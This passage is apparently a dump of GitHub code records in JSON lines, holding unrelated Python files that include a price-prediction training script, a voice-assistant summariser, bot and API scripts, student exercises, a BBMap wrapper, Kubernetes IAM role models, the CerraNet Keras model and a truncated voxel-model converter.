mean_squared_error(y_test, y_pred))\nprint(\"RMSE: \", np.sqrt(mean_squared_error(y_test, y_pred)))\nprint(\"R^2 Score: \", r2_score(y_test, y_pred))\n\n# Plot true vs predicted values\nplt.scatter(y_test, y_pred)\nplt.xlabel('True Values')\nplt.ylabel('Predicted Values')\nplt.title('True vs Predicted Values')\nplt.show()\n\n# Plot the histogram of residuals\nsns.histplot(y_test - y_pred, bins=30)\nplt.title('Histogram of Residuals')\nplt.show()\n\n# Save the model\npickle.dump(rf_random, open('model.pkl', 'wb'))\npickle.dump(job_title_le, open(\"job_title_le.pkl\", \"wb\"))\npickle.dump(car_use_le, open(\"car_use_le.pkl\", \"wb\"))\npickle.dump(postcode_le, open(\"postcode_le.pkl\", \"wb\"))","repo_name":"denisbaciu/poc.chatbot","sub_path":"price_prediction/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"34118479099","text":"from api_module import api_call\nfrom web_scraping_module import web_scraper, web_scraper_second\nimport speech_recognition as sr\nimport pyttsx3\n\nengine = pyttsx3.init()\n\n\ndef audio_results(text_result):\n engine.say(\"Do you want me to read your results? Please type in (yes or no)\")\n engine.runAndWait()\n response = input(\"\\n\\nDo you want me to read your results? Please type in (yes/no): \")\n if response == \"yes\":\n engine.say(text_result)\n engine.runAndWait()\n\n else:\n print(\"No Worries!\")\n\n\ndef audio_assistant():\n\n def on_start():\n print()\n\n def on_word(name):\n print()\n\n def on_end(name):\n print(name)\n\n engine.connect('started-utterance', on_start)\n engine.connect('started-word', on_word)\n engine.connect('finished-utterance', on_end)\n\n engine.say(\"Do you want to use an audio assistant? Please type in (yes or no): \")\n engine.runAndWait()\n\n response = input(\"Do you want to use an audio assistant? Please type in (yes/no): \")\n if response == \"yes\":\n print(\"Audio assistant activated.\")\n engine.say(\"Audio assistant activated. Welcome to Dev_BFF! Your best friend in learning. Dev BFF is an online tool to help developers summarize long articles. Want to know how to get started?\")\n print('Welcome to Dev_BFF! Your best friend in learning. Dev BFF is an online tool to help developers summarize long articles! Want to know how to get started?')\n engine.runAndWait()\n r = sr.Recognizer()\n with sr.Microphone() as source:\n print('Say Something!')\n audio = r.listen(source)\n print('Done!')\n engine.say(\" To get started... Input a search term to retrieve summarized articles. Have fun!\")\n\n text = r.recognize_google(audio)\n print('''\n\n ██████╗░███████╗██╗░░░██╗░░░░░░██████╗░███████╗███████╗\n ██╔══██╗██╔════╝██║░░░██║░░░░░░██╔══██╗██╔════╝██╔════╝\n ██║░░██║█████╗░░╚██╗░██╔╝░░░░░░██████╦╝█████╗░░█████╗░░\n ██║░░██║██╔══╝░░░╚████╔╝░░░░░░░██╔══██╗██╔══╝░░██╔══╝░░\n ██████╔╝███████╗░░╚██╔╝░░█████╗██████╦╝██║░░░░░██║░░░░░\n ╚═════╝░╚══════╝░░░╚═╝░░░╚════╝╚═════╝░╚═╝░░░░░╚═╝░░░░░\n ''')\n print(\"\"\"\n *********************************\n Welcome to Dev_BFF! \n Your best friend in learning! \n Input a search term to \n retrieve summarized articles.\n *Be patient, results take a few seconds to load*\n Have fun!\n *********************************\n \"\"\")\n engine.runAndWait()\n link = web_scraper(\"query\")\n user_input = api_call(link)\n audio_results(user_input)\n\n else:\n print(\"Audio assistant not activated.\")\n print('Welcome to Dev_BFF! Your best friend in learning. Dev BFF is an online tool to help developers summarize long articles')\n\n\ndef welcome():\n print('''\n\n ██████╗░███████╗██╗░░░██╗░░░░░░██████╗░███████╗███████╗\n ██╔══██╗██╔════╝██║░░░██║░░░░░░██╔══██╗██╔════╝██╔════╝\n ██║░░██║█████╗░░╚██╗░██╔╝░░░░░░██████╦╝█████╗░░█████╗░░\n ██║░░██║██╔══╝░░░╚████╔╝░░░░░░░██╔══██╗██╔══╝░░██╔══╝░░\n ██████╔╝███████╗░░╚██╔╝░░█████╗██████╦╝██║░░░░░██║░░░░░\n ╚═════╝░╚══════╝░░░╚═╝░░░╚════╝╚═════╝░╚═╝░░░░░╚═╝░░░░░\n ''')\n print(\"\"\"\n *********************************\n Welcome to Dev_BFF! \n Your best friend in learning! \n Input a search term to \n retrieve summarized articles.\n *Results take a few seconds to load*\n Have fun!\n *********************************\n \"\"\")\n\n\ndef what_next(cont_input):\n print(\"\"\"\n What would you like to do next? \n \"n\" for a different article, \n \"l\" to get a link to the article, \n \"q\" to quit,\n \"\"\")\n user_input2 = str(input('>> '))\n if user_input2.lower() == \"n\":\n api_call(web_scraper_second(cont_input))\n print(\"thank you for using dev_BFF, see you next time!\")\n return\n if user_input2.lower() == \"l\":\n url = web_scraper(cont_input)\n print(f\"{url}\\n\")\n print(\"thank you for using dev_BFF, see you next time!\")\n return\n if user_input2.lower() == \"q\":\n print(\"thank you for using dev_BFF, see you next time!\")\n return\n\n\nif __name__ == '__main__':\n audio_assistant()\n welcome()\n link = web_scraper(\"query\")\n user_input = api_call(link)\n what_next(link)\n","repo_name":"develpersbff/dev_bff","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5745,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"5284963676","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport os\nimport sys\nimport nonebot\nfrom nonebot.adapters.onebot.v11 import Adapter as OneBot_V11_Adapter\n\n# Fix import path problem in server\ndir_path = os.path.abspath(os.path.dirname(__file__))\nsys.path.insert(0, dir_path)\n\n# Custom your logger\n# \n# from nonebot.log import logger, default_format\n# logger.add(\"error.log\",\n# rotation=\"00:00\",\n# diagnose=False,\n# level=\"ERROR\",\n# format=default_format)\n\n# You can pass some keyword args config to init function\nnonebot.init()\nnonebot.load_plugins(\"DicePP/plugins\")\napp = nonebot.get_asgi()\n\ndriver = nonebot.get_driver()\ndriver.register_adapter(OneBot_V11_Adapter)\n\nnonebot.load_from_toml(\"pyproject.toml\")\n# Modify some config / config depends on loaded configs\n# \n# config = driver.config\n# do something...\n\n\nif __name__ == \"__main__\":\n # nonebot.logger.warning(\"Always use `nb run` to start the bot instead of manually running!\")\n nonebot.run(app=\"__mp_main__:app\")\n","repo_name":"pear-studio/nonebot-dicepp","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"52"} +{"seq_id":"73890971365","text":"import requests\r\nimport os\r\nimport json\r\n\r\n#Specify a URL that resolves to your workspace\r\nURL = \"http://127.0.0.1:8000/\"\r\n\r\nwith open('config.json','r') as f:\r\n config = json.load(f) \r\n\r\nsave_data_path = os.path.join(config['output_model_path']) \r\n\r\n#Call each API endpoint and store the responses\r\ndef call_api():\r\n response1 = requests.post(URL + 'prediction')\r\n response2 = requests.get(URL + 'scoring')\r\n response3 = requests.get(URL + 'summarystats')\r\n response4 = requests.get(URL + 'diagnostics')\r\n\r\n #combine all API responses\r\n responses = {'prediction': [],\r\n 'scoring': [],\r\n 'summarystats': [],\r\n 'diagnostics': []\r\n }\r\n responses['prediction'].append(response1.json()['result'])\r\n responses['scoring'].append(response2.json()['result'])\r\n responses['summarystats'].append(response3.json())\r\n responses['diagnostics'].append(response4.json()['result'])\r\n save_path = save_data_path + ('/apireturns.txt')\r\n with open(save_path, 'w') as f:\r\n for key, value in responses.items(): \r\n f.write('%s:%s\\n' % (key, value))\r\n#write the responses to your workspace\r\n\r\n\r\n\r\n","repo_name":"Default141/Risk_Assemment_system","sub_path":"apicalls.py","file_name":"apicalls.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"5813443679","text":"import csv\nimport time\n\ndef searchbypresident():\n time.sleep(.5)\n Name=input('Enter Presidents Name\\n')\n print(\"~~~~~~~~~~~~~~~~~~~~~~~~~~~\")\n csv_file=csv.reader(open('names.csv', 'r'))\n\n for row in csv_file:\n if Name.title() in row[1]:\n print(row)\n time.sleep(1)\n user_input()\n \ndef searchbynumber():\n time.sleep(.5)\n number=str(input('Enter Age\\n'))\n print(\"~~~~~~~~~~~~~~~~~~~~~~~~~~~\")\n time.sleep(1)\n csv_file=csv.reader(open('names.csv', 'r'))\n\n for row in csv_file:\n if number in row [2]:\n print(row)\n time.sleep(1)\n else:\n print(\"Sorry no Presidents match that search\")\n time.sleeep(1)\n user_input()\n\ndef searchbyplacement():\n time.sleep(.5)\n Placement=str(input('Enter Placement\\n'))\n print(\"~~~~~~~~~~~~~~~~~~~~~~~~~~~\")\n csv_file=csv.reader(open('names.csv', 'r'))\n\n for row in csv_file:\n if Placement in row [0]:\n print(row)\n time.sleep(1)\n user_input()\n\ndef user_input():\n print('enter 1 to search by Presidents Name')\n time.sleep(.5)\n print('enter 2 to search by Presidents Age')\n time.sleep(.5)\n print('enter 3 to search by Presidents Placement')\n time.sleep(.5)\n\n src=int(input('enter here:'))\n\n if src==1:\n searchbypresident()\n elif src==2:\n searchbynumber()\n\n elif src==3:\n searchbyplacement()\n \n else:\n print(\"\\nsorry wrong input\")\n time.sleep(1)\n print(\"try again\")\n time.sleep(1)\n user_input()\n\n\nuser_input()","repo_name":"rmvIII97/PresidentSearch","sub_path":"President search.py","file_name":"President search.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"25462451747","text":"\"\"\"\nExercise 1.1: Using any function for which you can evaluate the\nderivatives analytically, investigate the accuracy of the formulas\nin Table 1.2 for various values of h.\n\nComputational Physics: FORTRAN Version\nby Steven E. Koonin and Dawn C. Meredith\n\nSolution by Jamison Lahman, June 3, 2017\n\"\"\"\nimport math\nimport os\n\nfrom phys.library import differentiation\n\ndef my_sin(x):\n \"\"\"\n Function to be evaluated.\n Input: x -- independent variable\n Output: y -- dependent variable\n \"\"\"\n\n return math.sin(x)\n\ndef create_output():\n output = ''\n value = 1.0\n h_list = [.5, .2, .1, .05, .02, .01, .005, .002, .001, .0005, .0002,\n .0001, .00005, .00002, .00001]\n exact = math.cos(value)\n\n for h in h_list:\n error_backward = differentiation.backward2(my_sin, value, h) - exact\n error_forward = differentiation.forward2(my_sin, value, h) - exact\n error_symmetric3 = differentiation.symmetric3(my_sin, value, h) - exact\n error_symmetric4 = differentiation.symmetric4(my_sin, value, h) - exact\n error_symmetric5 = differentiation.symmetric5(my_sin, value, h) - exact\n # Outputs in a format compatible with LaTex tabular :)\n output += '{:.5f} & {:.6f} & {:.6f} & {:.6f} & {:.6f} & {:.6f}\\n'.format(\n h, error_backward, error_forward, error_symmetric3,\n error_symmetric4, error_symmetric5)\n return output\n\ndef main():\n \"\"\"Executes exercise 1.1\"\"\"\n\n file_directory = os.path.dirname(os.path.realpath(__file__))\n output_filepath = os.path.join(file_directory, 'output/exercise_1.txt')\n\n output = create_output()\n\n with open(output_filepath, 'w+') as out_file:\n out_file.write(output)\n\nif __name__ == '__main__':\n main()\n","repo_name":"jmelahman/computational-physics","sub_path":"phys/chapter_one/exercise/one.py","file_name":"one.py","file_ext":"py","file_size_in_byte":1752,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"35746491393","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon May 22 12:45:24 2017\r\n\r\n@author: SirTobi92\r\n\r\nLecture 4 Code\r\n\"\"\"\r\n\r\ncounter = 0\r\ndef add10(number):\r\n global counter\r\n while counter < 10:\r\n number += 1\r\n counter = counter + 1\r\n return number\r\n\r\n# Correct Solution\r\ndef add10(number):\r\n counter = 0\r\n while counter < 10:\r\n number += 1\r\n counter = counter + 1\r\n return number\r\n\r\n# Recursion, count to 0\r\ndef count_to_0(current):\r\n if current < 0:\r\n return\r\n print(current, end=', ')\r\n count_to_0(current - 1)\r\n\r\ndef put_apples(left, right):\r\n if right == 0:\r\n return left\r\n return put_apples(left + 1, right - 1)\r\n\r\nprint(put_apples(8, 4))\r\n\r\ndef function(arg0, arg1='default'):\r\n print(arg0, arg1)\r\n \r\nfunction(0, 1)\r\nfunction(0)\r\nfunction(arg1=1, arg0=0)\r\n\r\ndef function(*args):\r\n print (args)\r\n\r\nfunction(1, 2, 3)\r\n\r\ndef function(**kwargs):\r\n print(kwargs)\r\n \r\nfunction(arg0=0, mug='tea cup', animal='platypus')\r\n\r\nmy_fruits = ('apple', 'pear', 'banana')\r\nprint(my_fruits[1])\r\n \r\nfor i in range(len(my_fruits)):\r\n print(my_fruits[i], end=' ')\r\n\r\nname = input('What\\'s your name? ')\r\nprint('Hello ' + name)\r\n\r\n\r\n\r\n\r\n","repo_name":"TobiasRischen/PythonCourse","sub_path":"Lecture 4/Lecture4.py","file_name":"Lecture4.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"72005420325","text":"#!/usr/bin/env python3\n\nfrom PairedEndCommand import PairedEndCommand\n\n\nclass BBMapper(PairedEndCommand):\n def __init__(self, *args, **kwargs):\n super(BBMapper, self).__init__(*args, **kwargs)\n self.set_default(\"reference\", None)\n self.set_default(\"build\", None)\n self.set_default(\"mode\", \"DNA\")\n self.set_default(\"max_intron\", \"100k\")\n self.set_default(\"pigz\", False)\n self.set_default(\"read_groups\", False)\n self.set_default(\"use_modulo\", False)\n self.set_default(\"stats\", False)\n self.set_default(\"speed\", \"normal\")\n self.set_default(\"num_reads\", \"-1\")\n # According to the BBMap documentation, increasing k and minhits\n # increases speed. There is also a built in speed flag that can be\n # passed directly to the program, which 'slightly reduces sentitivity'\n # with increasing speed.\n self.__speeds = {\n 'vfast': ' fast k=15 minhits=3',\n 'fast': ' fast k=14 minhits=2',\n 'normal': ' k=13 minhits=1',\n 'slow': ' slow k=12 minhits=1',\n 'vslow': ' vslow k=11 minhits=1'\n }\n\n def make_command(self, read):\n mate = self.mate(read)\n map_sam = self.replace_read_marker_with(\"_pe\", read)\n map_sam = self.replace_extension_with(\".sam\", map_sam)\n map_sam = self.rebase_file(map_sam)\n unmap_sam = self.replace_read_marker_with(\"_pe\", read)\n unmap_sam = self.replace_extension_with(\".unmapped.sam\", unmap_sam)\n unmap_sam = self.rebase_file(unmap_sam)\n command = (\"bbmap.sh in1={i1} in2={i2} outm={om} outu={ou} \"\n \"threads={t} -Xmx{xmx} \"\n \"usejni=t\").format(i1=read,\n i2=mate,\n om=map_sam,\n ou=unmap_sam,\n xmx=self.get_mem(),\n t=self.get_threads())\n\n if self.mode.upper().strip() == \"RNA\":\n command += (\" maxindel={} xstag=firststrand \"\n \"intronlen=10 ambig=random\").format(self.max_intron)\n else:\n command += (\" maxindel={}\").format(self.max_intron)\n\n if self.speed in self.__speeds.keys():\n command += self.__speeds[self.speed]\n else:\n command += self.__speeds['normal']\n\n if self.pigz:\n command += (\" pigz=t unpigz=t\")\n else:\n command += (\" pigz=f unpigz=f\")\n\n if self.reference:\n command += (\" ref={ref} nodisk\").format(ref=self.reference)\n elif self.build:\n command += (\" build={build}\").format(build=self.build)\n\n if self.use_modulo:\n command += (\" usemodulo=t\")\n\n if self.num_reads:\n command += (\" reads={}\").format(self.num_reads)\n\n if self.stats:\n # Scaffold statistics file\n scaf = self.replace_read_marker_with(\"_pe\", read)\n scaf = self.replace_extension_with(\".scafstats.txt\", scaf)\n scaf = self.rebase_file(scaf)\n\n # Statistics file\n stats = self.replace_read_marker_with(\"_pe\", read)\n stats = self.replace_extension_with(\".stats.txt\", stats)\n stats = self.rebase_file(stats)\n\n # Coverage Statistics file\n cov = self.replace_read_marker_with(\"_pe\", read)\n cov = self.replace_extension_with(\".covstats.txt\", cov)\n cov = self.rebase_file(cov)\n\n command += (\" scafstats={scaf} \"\n \"statsfile={stats} \"\n \"covstats={cov}\").format(scaf=scaf,\n stats=stats,\n cov=cov)\n\n if self.read_groups:\n command += (\" rglb={rglb} rgpl={rgpl}\"\n \" rgpu={rgpu} rgsm={rgsm}\").format(\n **self.get_read_groups(read)\n )\n\n return (command)\n","repo_name":"cacampbell/pythonmisc","sub_path":"BBToolsMap.py","file_name":"BBToolsMap.py","file_ext":"py","file_size_in_byte":4043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"29616083620","text":"from deli.counter.auth.permission import SYSTEM_PERMISSIONS, PROJECT_PERMISSIONS\nfrom deli.kubernetes.resources.model import SystemResourceModel, ProjectResourceModel\nfrom deli.kubernetes.resources.project import Project\n\n\nclass IAMSystemRole(SystemResourceModel):\n\n def __init__(self, raw=None):\n super().__init__(raw)\n if raw is None:\n self._raw['spec'] = {\n 'permissions': []\n }\n\n @property\n def permissions(self):\n return self._raw['spec']['permissions']\n\n @permissions.setter\n def permissions(self, value):\n self._raw['spec']['permissions'] = value\n\n @classmethod\n def create_default_roles(cls):\n admin_role = cls()\n admin_role.name = \"admin\"\n admin_role.permissions = [permission['name'] for permission in SYSTEM_PERMISSIONS]\n if cls.get(admin_role.name) is None:\n admin_role.create()\n\n\nclass IAMProjectRole(ProjectResourceModel):\n\n def __init__(self, raw=None):\n super().__init__(raw)\n if raw is None:\n self._raw['spec'] = {\n 'permissions': []\n }\n\n @property\n def permissions(self):\n return self._raw['spec']['permissions']\n\n @permissions.setter\n def permissions(self, value):\n self._raw['spec']['permissions'] = value\n\n @classmethod\n def create_default_roles(cls, project: Project):\n viewer_role = cls()\n viewer_role.name = \"viewer\"\n viewer_role.project = project\n viewer_role.permissions = [permission['name'] for permission in PROJECT_PERMISSIONS if\n 'viewer' in permission.get('tag', [])]\n viewer_role.create()\n\n editor_role = cls()\n editor_role.name = \"editor\"\n editor_role.project = project\n editor_role.permissions = [permission['name'] for permission in PROJECT_PERMISSIONS if\n 'editor' in permission.get('tag', [])]\n editor_role.create()\n\n owner_role = cls()\n owner_role.name = \"owner\"\n owner_role.project = project\n owner_role.permissions = [permission['name'] for permission in PROJECT_PERMISSIONS]\n owner_role.create()\n","repo_name":"sandwichcloud/deli","sub_path":"deli/kubernetes/resources/v1alpha1/iam_role/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2222,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"26928176440","text":"# question 1\n\n# a=input(\" enter your name \" )\nfrom tkinter.messagebox import QUESTION\n\n\nb=\" Good afternoon \"\n# c=b+a\n# print(c)\n\n# question2\n# p=input(\"date\" )\n# o=input( \"enter your name \")\nu=\" '''Dear \"\ng=\" You are selected!\"\n\n# print(u+o)\n# print(g+\"date:\"+p+\"'''\")\n\n# second method\n\nletter= '''Dear e>,\nyou are selected!\ndate: r>'''\n# letter=letter.replace(\"e>\", o)\n# letter=letter.replace(\"r>\", p)\n# print(letter)\n\n# Question no.3 and 4\n# detect doublespace\n\nst=\"this has double space \"\ndsp=st.replace(\" \",\" \" )\n# print(dsp)\n\n# QUESTION 5\n\nletter=\"Dear harry,\\n\\tthis python course is nice.\\n\\tthanks\"\n\nprint(letter)\n","repo_name":"HarshalAtre/My-codes","sub_path":"python/ch3/05_practice set.py","file_name":"05_practice set.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"3134128445","text":"\"\"\"CerraNet model for Keras.\n\n# Reference\n\n- [\"CerraNet: a deep convolutional neural network for classifying \n land use and land cover on Cerrado biome tocantinense\"](\n https://drive.google.com/file/d/1JnN52C8yZKwN-5XA6qSiCsCygh1-0vvZ/view)\n\n\"\"\"\nimport os\n\nimport keras\nfrom keras import backend, layers, models\nif keras.__version__ < '2.4.0':\n from keras import utils as keras_utils\nelse:\n from keras.utils import data_utils as keras_utils\n\nfrom keras_applications.imagenet_utils import _obtain_input_shape\n\nWEIGHTS_PATH = ('file://' + \n os.path.dirname(os.path.abspath(__file__)) + '/'\n 'models/'\n 'cerranet_weights_tf_dim_ordering_tf_kernels.h5')\nWEIGHTS_PATH_NO_TOP = ('file://' + \n os.path.dirname(os.path.abspath(__file__)) + '/'\n 'models/'\n 'cerranet_weights_tf_dim_ordering_tf_kernels_notop.h5')\n\n\ndef CerraNet(include_top=True,\n weights='cerranet',\n input_tensor=None,\n input_shape=None,\n pooling=None,\n classes=4,\n **kwargs):\n \"\"\"Instantiates the CerraNet architecture.\n\n Optionally loads weights pre-trained on Sports1M.\n Note that the data format convention used by the model is\n the one specified in your Keras config at `~/.keras/keras.json`.\n\n # Arguments\n include_top: whether to include the 3 fully-connected\n layers at the top of the network.\n weights: one of `None` (random initialization),\n 'cerranet' (pre-training on CerraNet),\n or the path to the weights file to be loaded.\n input_tensor: optional Keras tensor\n (i.e. output of `layers.Input()`)\n to use as image input for the model.\n input_shape: optional shape tuple, only to be specified\n if `include_top` is False (otherwise the input shape\n has to be `(256, 256, 3)`\n (with `channels_last` data format)\n or `(3, 256, 256)` (with `channels_first` data format).\n It should have exactly 3 input channels,\n and width and height should be no smaller than 128.\n E.g. `(200, 200, 3)` would be one valid value.\n pooling: Optional pooling mode for feature extraction\n when `include_top` is `False`.\n - `None` means that the output of the model will be\n the 4D tensor output of the\n last convolutional layer.\n - `avg` means that global average pooling\n will be applied to the output of the\n last convolutional layer, and thus\n the output of the model will be a 2D tensor.\n - `max` means that global max pooling will\n be applied.\n classes: optional number of classes to classify images\n into, only to be specified if `include_top` is True, and\n if no `weights` argument is specified.\n\n # Returns\n A Keras model instance.\n\n # Raises\n ValueError: in case of invalid argument for `weights`,\n or invalid input shape.\n \"\"\"\n if not (weights in {'cerranet', None} or os.path.exists(weights)):\n raise ValueError('The `weights` argument should be either '\n '`None` (random initialization), `cerranet` '\n '(pre-training on CerraNet), '\n 'or the path to the weights file to be loaded.')\n\n if weights == 'cerranet' and include_top and classes != 4:\n raise ValueError('If using `weights` as `\"cerranet\"` with `include_top`'\n ' as true, `classes` should be 4')\n # Determine proper input shape\n input_shape = _obtain_input_shape(input_shape,\n default_size=256,\n min_size=128,\n data_format=backend.image_data_format(),\n require_flatten=include_top,\n weights=weights)\n\n if input_tensor is None:\n img_input = layers.Input(shape=input_shape)\n else:\n if not backend.is_keras_tensor(input_tensor):\n img_input = layers.Input(tensor=input_tensor, shape=input_shape)\n else:\n img_input = input_tensor\n # Block 1\n x = layers.Conv2D(64, (3, 3),\n activation='relu',\n name='conv1')(img_input)\n x = layers.AveragePooling2D((2, 2), name='pool1')(x)\n x = layers.Dropout(0.15)(x)\n\n # Block 2\n x = layers.Conv2D(64, (3, 3),\n activation='relu',\n name='conv2')(x)\n x = layers.AveragePooling2D((2, 2), name='pool2')(x)\n x = layers.Dropout(0.15)(x)\n\n # Block 3\n x = layers.Conv2D(128, (3, 3),\n activation='relu',\n name='conv3')(x)\n x = layers.AveragePooling2D((2, 2), name='pool3')(x)\n x = layers.Dropout(0.15)(x)\n\n # Block 4\n x = layers.Conv2D(128, (3, 3),\n activation='relu',\n name='conv4')(x)\n x = layers.AveragePooling2D((2, 2), name='pool4')(x)\n x = layers.Dropout(0.15)(x)\n\n # Block 5\n x = layers.Conv2D(256, (3, 3),\n activation='relu',\n name='conv5')(x)\n x = layers.AveragePooling2D((2, 2), name='pool5')(x)\n x = layers.Dropout(0.15)(x)\n\n # Block 6\n x = layers.Conv2D(256, (3, 3),\n activation='relu',\n name='conv6')(x)\n x = layers.AveragePooling2D((2, 2), name='pool6')(x)\n x = layers.Dropout(0.15)(x)\n\n if include_top:\n # Classification block\n x = layers.Flatten(name='flatten')(x)\n x = layers.Dense(256, activation='relu', name='fc7')(x)\n x = layers.Dropout(0.15)(x)\n x = layers.Dense(128, activation='relu', name='fc8')(x)\n x = layers.Dropout(0.15)(x)\n x = layers.Dense(classes, activation='softmax', name='fc9')(x)\n else:\n if pooling == 'avg':\n x = layers.GlobalAveragePooling2D()(x)\n elif pooling == 'max':\n x = layers.GlobalMaxPooling2D()(x)\n\n # Ensure that the model takes into account\n # any potential predecessors of `input_tensor`.\n if input_tensor is not None:\n inputs = keras_utils.get_source_inputs(input_tensor)\n else:\n inputs = img_input\n # Create model.\n model = models.Model(inputs, x, name='cerranet')\n\n # Load weights.\n if weights == 'cerranet':\n if include_top:\n weights_path = keras_utils.get_file(\n 'cerranet_weights_tf_dim_ordering_tf_kernels.h5',\n WEIGHTS_PATH,\n cache_subdir='models',\n file_hash='7ff1f7be9905829ef85e0167313700d6')\n else:\n weights_path = keras_utils.get_file(\n 'cerranet_weights_tf_dim_ordering_tf_kernels_notop.h5',\n WEIGHTS_PATH_NO_TOP,\n cache_subdir='models',\n file_hash='eb32da6e2d5225ff2c0e85e256b1ecdd')\n model.load_weights(weights_path)\n if backend.backend() == 'theano':\n keras_utils.convert_all_kernels_in_model(model)\n elif weights is not None:\n model.load_weights(weights)\n\n return model\n","repo_name":"jurandy-almeida/cerranet","sub_path":"keras/cerranet/cerranet.py","file_name":"cerranet.py","file_ext":"py","file_size_in_byte":7358,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"23946663740","text":"import time\nimport os\nfrom io import BytesIO\nfrom jinja2 import Environment, PackageLoader\nfrom nbt import nbt\n\nfrom blockmodel.writers.stl_writer import Binary_STL_Writer\nfrom blockmodel.mapper import MinecraftBlockMapper\nfrom blockmodel.readers import *\nfrom blockmodel.constants import *\nfrom blockmodel.writers.file_writers import write_stl, write_x3d, write_collada, write_obj, write_csv\n\nTHIS_DIR = os.path.dirname(__file__)\nRESOURCES_ROOT = os.path.join(os.path.dirname(__file__), \"resources\")\n\njinja_env = Environment(loader=PackageLoader('blockmodel.model', 'templates'))\n\nclass BlockModel(object):\n \n def __init__(self, reader):\n self.vertices = {}\n self.faces = []\n self.texUvMappingsArray = []\n self.volume = 0\n self.surface = 0\n lines = []\n for y in range(33):\n for x in range(33):\n lines.append(\"vt %.5f %.5f\" % (x/32.0, y/32.0))\n self.texUvMappingsArray.append((x/32.0, y/32.0))\n self.uv_mappings = \"\\n\".join(lines)\n self.reader = reader\n self.timestamp = time.strftime(\"%Y-%m-%dT%H:%M:%S.000000\", time.gmtime())\n self.width = self.reader.width\n self.height = self.reader.height\n self.depth = self.reader.depth\n self.max_x = None\n self.min_x = None\n self.max_y = None\n self.min_y = None\n self.max_z = None\n self.min_z = None\n self.scale = 2\n self.stl_scale = 2.0\n self.xoffset = -self.width/2.0\n self.yoffset = 0\n self.zoffset = -self.depth/2.0\n self.faces = []\n self.stl_faces = []\n self.block_mapper = MinecraftBlockMapper()\n self._process()\n self._make_stl()\n\n @classmethod\n def from_json(cls, as_json, max_size=None):\n return cls(JsonModelReader(as_json, max_size))\n \n @classmethod\n def from_png(cls, as_png, max_size=None):\n return cls(PngModelReader(as_png, max_size))\n \n @classmethod\n def from_sparse_json(cls, as_json, max_size=None):\n return cls(SparseJsonModelReader(as_json, max_size))\n \n @classmethod\n def from_schematic_file(cls, schematic, max_size=None):\n return cls(SchematicModelReader(schematic, max_size))\n\n def _is_blank_quadrant(self, x, y, z, xd, yd, zd, side):\n \n q = 0.5\n x1 = x\n y1 = y\n z1 = z\n xd1 = xd\n yd1 = yd\n zd1 = zd\n\n if side == SIDE_TOP:\n if y + yd == self.height - q:\n return True\n if yd == 0.0:\n yd1 = 0.5\n if yd == 0.5:\n yd1 = 0.0\n y1 = y + 1\n if side == SIDE_BOTTOM:\n if y + yd == 0:\n return True\n if yd == 0.0:\n yd1 = 0.5\n y1 = y - 1\n if yd == 0.5:\n yd1 = 0.0\n if side == SIDE_RIGHT:\n if x + xd == self.width - q:\n return True\n if xd == 0.0:\n xd1 = 0.5\n if xd == 0.5:\n xd1 = 0.0\n x1 = x + 1\n if side == SIDE_LEFT:\n if x + xd == 0:\n return True\n if xd == 0.0:\n x1 = x - 1\n xd1 = 0.5\n if xd == 0.5:\n xd1 = 0.0\n if side == SIDE_FRONT:\n if z + zd == self.depth - q:\n return True\n if zd == 0.0:\n zd1 = 0.5\n if zd == 0.5:\n zd1 = 0.0\n z1 = z + 1\n if side == SIDE_BACK:\n if z + zd == 0:\n return True\n if zd == 0.0:\n zd1 = 0.5\n z1 = z - 1\n if zd == 0.5:\n zd1 = 0.0\n \n return self.block_mapper.is_blank(x1, y1, z1, xd1, yd1, zd1, self.reader)\n\n def _render_partial_face(self, block, x, y, z, side):\n \n d = 0.5\n \n if side == SIDE_TOP:\n xd1 = 0.0\n yd1 = 0.5\n zd1 = 0.0\n xd2 = 0.0\n yd2 = 0.5\n zd2 = 0.5\n xd3 = 0.5\n yd3 = 0.5\n zd3 = 0.0\n xd4 = 0.5\n yd4 = 0.5\n zd4 = 0.5\n \n if side == SIDE_BOTTOM:\n xd1 = 0.0\n yd1 = 0.0\n zd1 = 0.0\n xd2 = 0.0\n yd2 = 0.0\n zd2 = 0.5\n xd3 = 0.5\n yd3 = 0.0\n zd3 = 0.0\n xd4 = 0.5\n yd4 = 0.0\n zd4 = 0.5\n \n if side == SIDE_RIGHT:\n xd1 = 0.5\n yd1 = 0.0\n zd1 = 0.0\n xd2 = 0.5\n yd2 = 0.5\n zd2 = 0.0\n xd3 = 0.5\n yd3 = 0.0\n zd3 = 0.5\n xd4 = 0.5\n yd4 = 0.5\n zd4 = 0.5\n \n if side == SIDE_LEFT:\n xd1 = 0.0\n yd1 = 0.0\n zd1 = 0.0\n xd2 = 0.0\n yd2 = 0.5\n zd2 = 0.0\n xd3 = 0.0\n yd3 = 0.0\n zd3 = 0.5\n xd4 = 0.0\n yd4 = 0.5\n zd4 = 0.5\n \n if side == SIDE_FRONT:\n xd1 = 0.0\n yd1 = 0.0\n zd1 = 0.5\n xd2 = 